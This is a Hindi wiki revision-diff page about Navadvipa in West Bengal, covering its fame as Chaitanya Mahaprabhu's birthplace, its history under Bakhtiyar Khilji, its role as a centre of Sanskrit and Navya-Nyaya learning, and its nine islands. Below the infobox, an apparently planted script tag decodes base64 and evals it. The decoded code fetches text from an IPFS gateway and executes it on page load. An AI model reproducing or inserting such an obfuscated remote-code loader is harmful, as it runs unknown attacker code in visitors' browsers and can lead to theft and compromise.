"नवद्वीप" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replace - " कायम" to " क़ायम")
पंक्ति 1: पंक्ति 1:
'''नवद्वीप''' [[चैतन्य महाप्रभु]] की जन्म स्थली के रूप में प्रसिद्ध है। यह [[पश्चिम बंगाल]] के नदिया ज़िले के मुख्यालय से मात्र 20 किलोमीटर की दूरी पर अवस्थित है। प्राचीन समय में नवद्वीप [[संस्कृत]] विद्या का प्रधान केन्द्र था। यहाँ पर देश के कोने-कोने से लोग अध्ययन के लिए आते थे। [[मध्य काल]] में यह [[बंगाल]] की राजधानी बनाई गई थी।
+
{{सूचना बक्सा पर्यटन
{{tocright}}
+
|चित्र=Chetanya-Mahaprabhu.jpg
 +
|चित्र का नाम=चैतन्य महाप्रभु
 +
|विवरण= 'नवद्वीप' [[चैतन्य महाप्रभु]] की जन्म स्थली के रूप में प्रसिद्ध है। प्राचीन समय में नवद्वीप [[संस्कृत]] विद्या का प्रधान केन्द्र था।
 +
|राज्य=[[पश्चिम बंगाल]]
 +
|केन्द्र शासित प्रदेश=
 +
|ज़िला=[[नादिया ज़िला]]
 +
|निर्माता=
 +
|स्वामित्व=
 +
|प्रबंधक=
 +
|निर्माण काल=
 +
|स्थापना=
 +
|भौगोलिक स्थिति=
 +
|मार्ग स्थिति=
 +
|मौसम=
 +
|तापमान=
 +
|प्रसिद्धि= [[मध्य काल]] में यह [[बंगाल]] की राजधानी बनाई गई थी।
 +
|कब जाएँ=
 +
|कैसे पहुँचें=
 +
|हवाई अड्डा=
 +
|रेलवे स्टेशन=
 +
|बस अड्डा=
 +
|यातायात=
 +
|क्या देखें=
 +
|कहाँ ठहरें=
 +
|क्या खायें=
 +
|क्या ख़रीदें=
 +
|एस.टी.डी. कोड=
 +
|ए.टी.एम=
 +
|सावधानी=
 +
|मानचित्र लिंक=
 +
|संबंधित लेख=
 +
|शीर्षक 1=
 +
|पाठ 1=
 +
|शीर्षक 2=
 +
|पाठ 2=
 +
|अन्य जानकारी=आजकल जो नगर नवद्वीप के नाम से प्रसिद्ध है, वह चैतन्य महाप्रभु के समय में '[[कुलिया]]' नामक ग्राम था।
 +
|बाहरी कड़ियाँ=
 +
|अद्यतन=
 +
}}
 +
'''नवद्वीप''' [[चैतन्य महाप्रभु]] की जन्म स्थली के रूप में प्रसिद्ध है। यह [[पश्चिम बंगाल]] के [[नादिया ज़िला|नादिया ज़िले]] के मुख्यालय से मात्र 20 किलोमीटर की दूरी पर अवस्थित है। प्राचीन समय में नवद्वीप [[संस्कृत]] विद्या का प्रधान केन्द्र था। यहाँ पर देश के कोने-कोने से लोग अध्ययन के लिए आते थे। [[मध्य काल]] में यह [[बंगाल]] की राजधानी बनाई गई थी।
 
==इतिहास==
 
==इतिहास==
1204-1205 ई. में [[मुहम्मद ग़ोरी]] के अधीनस्थ सिपहसालार इख्तियारुद्दीन-बिन बख़्तियार खिलजी ने बंगाल की राजधानी नवद्वीप में प्रवेश किया, तो यहाँ का अकर्मण्य शासक [[लक्ष्मण सेन|लक्ष्मणसेन]] राजधानी छोड़कर भाग खड़ा हुआ। [[बख़्तियार खिलजी]] ने मात्र 18 सैनिकों के दस्ते के साथ यह विजय प्राप्त की थी।
+
1204-1205 ई. में [[मुहम्मद ग़ोरी]] के अधीनस्थ सिपहसालार इख्तियारुद्दीन-बिन बख़्तियार ख़िलजी ने बंगाल की राजधानी नवद्वीप में प्रवेश किया, तो यहाँ का अकर्मण्य शासक [[लक्ष्मण सेन|लक्ष्मणसेन]] राजधानी छोड़कर भाग खड़ा हुआ। [[बख़्तियार ख़िलजी]] ने मात्र 18 सैनिकों के दस्ते के साथ यह विजय प्राप्त की थी।
 
====महत्त्व====
 
====महत्त्व====
 
नवद्वीप का महत्त्व इसलिए अधिक है कि यहाँ 1485 ई. में [[चैतन्य महाप्रभु]] का जन्म हुआ था। बंगाल में [[श्रीकृष्ण]] की भक्ति को लोकप्रिय बनाने में इस संत का सर्वाधिक योगदान रहा। चैतन्य ने [[भक्ति]] में संकीर्तन-विद्या को लोकप्रिय बनाया। इस युग में नवद्वीप संस्कृत विद्या और नव्य-न्याय का महत्त्वपूर्ण केन्द्र था। [[नालन्दा]] एवं [[विक्रमशिला]] के [[बौद्ध]] विश्वविद्यालयों के विध्वंस के बाद इसका महत्त्व बढ़ गया था।
 
नवद्वीप का महत्त्व इसलिए अधिक है कि यहाँ 1485 ई. में [[चैतन्य महाप्रभु]] का जन्म हुआ था। बंगाल में [[श्रीकृष्ण]] की भक्ति को लोकप्रिय बनाने में इस संत का सर्वाधिक योगदान रहा। चैतन्य ने [[भक्ति]] में संकीर्तन-विद्या को लोकप्रिय बनाया। इस युग में नवद्वीप संस्कृत विद्या और नव्य-न्याय का महत्त्वपूर्ण केन्द्र था। [[नालन्दा]] एवं [[विक्रमशिला]] के [[बौद्ध]] विश्वविद्यालयों के विध्वंस के बाद इसका महत्त्व बढ़ गया था।
पंक्ति 18: पंक्ति 57:
 
#मोदद्रुम द्वीप
 
#मोदद्रुम द्वीप
 
#रुद्र द्वीप
 
#रुद्र द्वीप
 +
उपर्युक्त नौ द्वीपों के सम्मिलित होने के कारण ही इसे 'नवद्वीप' कहा जाता था। मायापुर नामक नवद्वीप के जिस भाग में चैतन्य का जन्म हुआ था, वह मध्य द्वीप के अंतर्गत था। यहीं चैतन्य के [[पिता]] जगन्नाथ मिश्र का निवास स्थान था। यह स्थान कालान्तर में [[गंगा]] के गर्भ में विलीन हो गया था। नवद्वीप को अब [[नदिया]] कहा जाता है।
  
उपर्युक्त नौ द्वीपों के सम्मिलित होने के कारण ही इसे 'नवद्वीप' कहा जाता था। मायापुर नामक नवद्वीप के जिस भाग में चैतन्य का जन्म हुआ था, वह मध्य द्वीप के अंतर्गत था। यहीं चैतन्य के [[पिता]] जगन्नाथ मिश्र का निवास स्थान था। यह स्थान कालान्तर में [[गंगा]] के गर्भ में विलीन हो गया था। नवद्वीप को अब [[नदिया]] कहा जाता है।
+
{{seealso|चैतन्य महाप्रभु}}
  
{{इन्हेंभीदेखें|चैतन्य महाप्रभु}}
 
  
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक=|पूर्णता=|शोध=}}
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक=|पूर्णता=|शोध=}}
पंक्ति 31: पंक्ति 70:
 
[[Category:पश्चिम बंगाल]][[Category:पश्चिम बंगाल के धार्मिक स्थल]][[Category:पश्चिम बंगाल के ऐतिहासिक स्थान]][[Category:ऐतिहासिक स्थान कोश]][[Category:धार्मिक स्थल कोश]]  
 
[[Category:पश्चिम बंगाल]][[Category:पश्चिम बंगाल के धार्मिक स्थल]][[Category:पश्चिम बंगाल के ऐतिहासिक स्थान]][[Category:ऐतिहासिक स्थान कोश]][[Category:धार्मिक स्थल कोश]]  
 
__INDEX__
 
__INDEX__
 +
__NOTOC__

09:50, 16 मई 2015 का अवतरण

नवद्वीप
चैतन्य महाप्रभु
विवरण 'नवद्वीप' चैतन्य महाप्रभु की जन्म स्थली के रूप में प्रसिद्ध है। प्राचीन समय में नवद्वीप संस्कृत विद्या का प्रधान केन्द्र था।
राज्य पश्चिम बंगाल
ज़िला नादिया ज़िला
प्रसिद्धि मध्य काल में यह बंगाल की राजधानी बनाई गई थी।
अन्य जानकारी आजकल जो नगर नवद्वीप के नाम से प्रसिद्ध है, वह चैतन्य महाप्रभु के समय में 'कुलिया' नामक ग्राम था।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

नवद्वीप चैतन्य महाप्रभु की जन्म स्थली के रूप में प्रसिद्ध है। यह पश्चिम बंगाल के नादिया ज़िले के मुख्यालय से मात्र 20 किलोमीटर की दूरी पर अवस्थित है। प्राचीन समय में नवद्वीप संस्कृत विद्या का प्रधान केन्द्र था। यहाँ पर देश के कोने-कोने से लोग अध्ययन के लिए आते थे। मध्य काल में यह बंगाल की राजधानी बनाई गई थी।

इतिहास

1204-1205 ई. में मुहम्मद ग़ोरी के अधीनस्थ सिपहसालार इख्तियारुद्दीन-बिन बख़्तियार ख़िलजी ने बंगाल की राजधानी नवद्वीप में प्रवेश किया, तो यहाँ का अकर्मण्य शासक लक्ष्मणसेन राजधानी छोड़कर भाग खड़ा हुआ। बख़्तियार ख़िलजी ने मात्र 18 सैनिकों के दस्ते के साथ यह विजय प्राप्त की थी।

महत्त्व

नवद्वीप का महत्त्व इसलिए अधिक है कि यहाँ 1485 ई. में चैतन्य महाप्रभु का जन्म हुआ था। बंगाल में श्रीकृष्ण की भक्ति को लोकप्रिय बनाने में इस संत का सर्वाधिक योगदान रहा। चैतन्य ने भक्ति में संकीर्तन-विद्या को लोकप्रिय बनाया। इस युग में नवद्वीप संस्कृत विद्या और नव्य-न्याय का महत्त्वपूर्ण केन्द्र था। नालन्दा एवं विक्रमशिला के बौद्ध विश्वविद्यालयों के विध्वंस के बाद इसका महत्त्व बढ़ गया था।

उच्च शिक्षण केन्द्र

नवद्वीप में विद्वता तथा शिक्षण का ऊँचा स्तर क़ायम किया गया था। यहाँ उच्चतर शिक्षा के अनेक संस्थान थे। इनमें देश के विभिन्न भागों से आये छात्र-समूहों को प्रसिद्ध गुरु पढ़ाते थे। नवद्वीप में न्यायशास्त्र के अध्ययन के लिए भारत के कोने-कोने से लोग एकत्र होते थे। सोलहवीं शताब्दी के बंगाली कवि वृन्दावनदास ने अपनी महान कृति 'चैतन्य भागवत' में नवद्वीप का चित्रांकन शिक्षा के प्रसिद्ध केन्द्र के रूप में किया है।

नौ द्वीप

आजकल जो नगर नवद्वीप के नाम से प्रसिद्ध है, वह चैतन्य महाप्रभु के समय में 'कुलिया' नामक ग्राम था। प्राचीन नवद्वीप कुलिया के सामने गंगा के उस पार पूर्वी तट पर स्थित था। इसे आजकल 'वामनपुकुर' कहा जाता है। कहते हैं कि प्राचीन काल में नवद्वीप की परिधि 16 कोस की थी और उसमें निम्न द्वीप सम्मिलित थे-

  1. अंत:द्वीप
  2. सीमंत द्वीप
  3. गोद्रुम द्वीप
  4. मध्य द्वीप
  5. कोल द्वीप
  6. ऋतु द्वीप
  7. जह्नुद्वीप
  8. मोदद्रुम द्वीप
  9. रुद्र द्वीप

उपर्युक्त नौ द्वीपों के सम्मिलित होने के कारण ही इसे 'नवद्वीप' कहा जाता था। मायापुर नामक नवद्वीप के जिस भाग में चैतन्य का जन्म हुआ था, वह मध्य द्वीप के अंतर्गत था। यहीं चैतन्य के पिता जगन्नाथ मिश्र का निवास स्थान था। यह स्थान कालान्तर में गंगा के गर्भ में विलीन हो गया था। नवद्वीप को अब नदिया कहा जाता है।

इन्हें भी देखें: चैतन्य महाप्रभु


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख